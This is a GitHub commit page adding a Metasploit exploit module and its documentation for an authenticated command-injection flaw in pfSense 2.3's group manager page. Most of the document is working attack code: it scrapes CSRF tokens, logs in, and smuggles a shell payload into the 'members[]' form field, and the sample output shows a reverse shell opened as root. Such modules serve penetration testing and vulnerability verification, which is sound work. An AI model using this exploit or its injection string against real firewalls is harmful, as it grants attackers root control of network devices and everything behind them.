Skip to content

Commit f889195

Browse files
h00dieh00die
committed
pfsense group member exec module
1 parent f3e2f4d commit f889195

File tree

2 files changed

+204
-0
lines changed

2 files changed

+204
-0
lines changed

‎documentation/modules/exploit/unix/http/pfsense_group_member_exec.md

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
## Description
2+
3+
This module exploits a vulnerability in pfSense version 2.3 and before which allows an authenticated user to execute arbitrary operating system commands
4+
as root.
5+
6+
This module has been tested successfully on version 2.3 RELEASE.
7+
8+
9+
## Vulnerable Application
10+
11+
This module has been tested successfully on version CE 2.3 amd64.
12+
13+
Installer:
14+
15+
* [pfSense CE 2.3](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-CE-2.3-RELEASE-amd64.iso.gz)
16+
17+
18+
## Verification Steps
19+
20+
1. Start `msfconsole`
21+
2. Do: `use exploit/unix/http/pfsense_group_member_exec`
22+
3. Do: `set rhost [IP]`
23+
4. Do: `set username [username]`
24+
5. Do: `set password [password]`
25+
6. Do: `exploit`
26+
7. You should get a session
27+
28+
29+
## Sample Output
30+
31+
```
32+
[*] Processing pfsense.rc for ERB directives.
33+
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
34+
resource (pfsense.rc)> set rhost 192.168.2.15
35+
rhost => 192.168.2.15
36+
resource (pfsense.rc)> set verbose true
37+
verbose => true
38+
resource (pfsense.rc)> check
39+
[*] 192.168.2.15:443 The target service is running, but could not be validated.
40+
resource (pfsense.rc)> exploit
41+
[*] Started reverse TCP handler on 192.168.2.147:4444
42+
[*] CSRF Token for login: sid:e03842f251d3dacb9df81c00a328431580c8fed5,1510715698;ip:ca2fedb3100f0d4d998c9a6a4bb14a624ff904ec,1510715698
43+
[*] Successful Authentication
44+
[+] Login Successful
45+
[*] CSRF Token for group creation: sid:c8b3595aa9e5479086e5ea24f12f737f84dc39a7,1510715698
46+
[*] Command shell session 1 opened (192.168.2.147:4444 -> 192.168.2.15:65499) at 2017-11-14 22:14:58 -0500
47+
48+
whoami
49+
root
50+
uname -a
51+
FreeBSD . 10.3-RELEASE FreeBSD 10.3-RELEASE #6 05adf0a(RELENG_2_3_0): Mon Apr 11 18:52:07 CDT 2016 root@ce23-amd64-builder:/builder/pfsense-230/tmp/obj/builder/pfsense-230/tmp/FreeBSD-src/sys/pfSense amd64
52+
```

‎modules/exploits/unix/http/pfsense_group_member_exec.rb

Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'pfSense authenticated group member RCE',
16+
'Description' => %q(
17+
pfSense, a free BSD based open source firewall distribution,
18+
version <= 2.3.1_1 contains a remote command execution
19+
vulnerability post authentication in the system_groupmanager.php page.
20+
),
21+
'Author' =>
22+
[
23+
's4squatch', # discovery
24+
'h00die' # module
25+
],
26+
'References' =>
27+
[
28+
[ 'EDB', '43128' ],
29+
[ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc']
30+
],
31+
'License' => MSF_LICENSE,
32+
'Platform' => 'unix',
33+
'Privileged' => false,
34+
'DefaultOptions' => { 'SSL' => true },
35+
'Arch' => [ ARCH_CMD ],
36+
'Payload' =>
37+
{
38+
'Compat' =>
39+
{
40+
'PayloadType' => 'cmd',
41+
'RequiredCmd' => 'perl awk openssl'
42+
}
43+
},
44+
'Targets' =>
45+
[
46+
[ 'Automatic Target', {}]
47+
],
48+
'DefaultTarget' => 0,
49+
'DisclosureDate' => 'Nov 06 2017'
50+
)
51+
)
52+
53+
register_options(
54+
[
55+
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
56+
OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),
57+
Opt::RPORT(443)
58+
], self.class
59+
)
60+
end
61+
62+
def login
63+
res = send_request_cgi(
64+
'uri' => '/index.php',
65+
'method' => 'GET',
66+
)
67+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
68+
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
69+
70+
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
71+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
72+
vprint_status("CSRF Token for login: #{csrf}")
73+
74+
res = send_request_cgi(
75+
'uri' => '/index.php',
76+
'method' => 'POST',
77+
'vars_post' => {
78+
'__csrf_magic' => csrf,
79+
'usernamefld' => datastore['USERNAME'],
80+
'passwordfld' => datastore['PASSWORD'],
81+
'login' => ''
82+
}
83+
)
84+
unless res
85+
fail_with(Failure::UnexpectedReply, '#{peer} - Did not respond to authentication request')
86+
end
87+
if res.code == 302
88+
vprint_status('Successful Authentication')
89+
return res.get_cookies
90+
else
91+
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
92+
return nil
93+
end
94+
end
95+
96+
def check
97+
begin
98+
res = send_request_cgi(
99+
'uri' => '/index.php',
100+
'method' => 'GET'
101+
)
102+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
103+
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
104+
if /Login to pfSense/ =~ res.body
105+
Exploit::CheckCode::Detected
106+
else
107+
Exploit::CheckCode::Safe
108+
end
109+
rescue ::Rex::ConnectionError
110+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
111+
end
112+
end
113+
114+
def exploit
115+
begin
116+
cookie = login
117+
vprint_good('Login Successful')
118+
res = send_request_cgi(
119+
'uri' => '/system_groupmanager.php',
120+
'method' => 'GET',
121+
'cookie' => cookie,
122+
'vars_get' => {
123+
'act' => 'new'
124+
}
125+
)
126+
127+
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
128+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
129+
vprint_status("CSRF Token for group creation: #{csrf}")
130+
131+
res = send_request_cgi(
132+
'uri' => '/system_groupmanager.php',
133+
'method' => 'POST',
134+
'cookie' => cookie,
135+
'vars_post' => {
136+
'__csrf_magic' => csrf,
137+
'groupname' => rand_text_alpha(10),
138+
'gtype' => 'local',
139+
'description' => '',
140+
'members[]' => "0';#{payload.encoded};'",
141+
'groupid' => '',
142+
'save' => 'Save',
143+
},
144+
'vars_get' => {
145+
'act' => 'edit'
146+
}
147+
)
148+
rescue ::Rex::ConnectionError
149+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
150+
end
151+
end
152+
end

0 commit comments

Comments
 (0)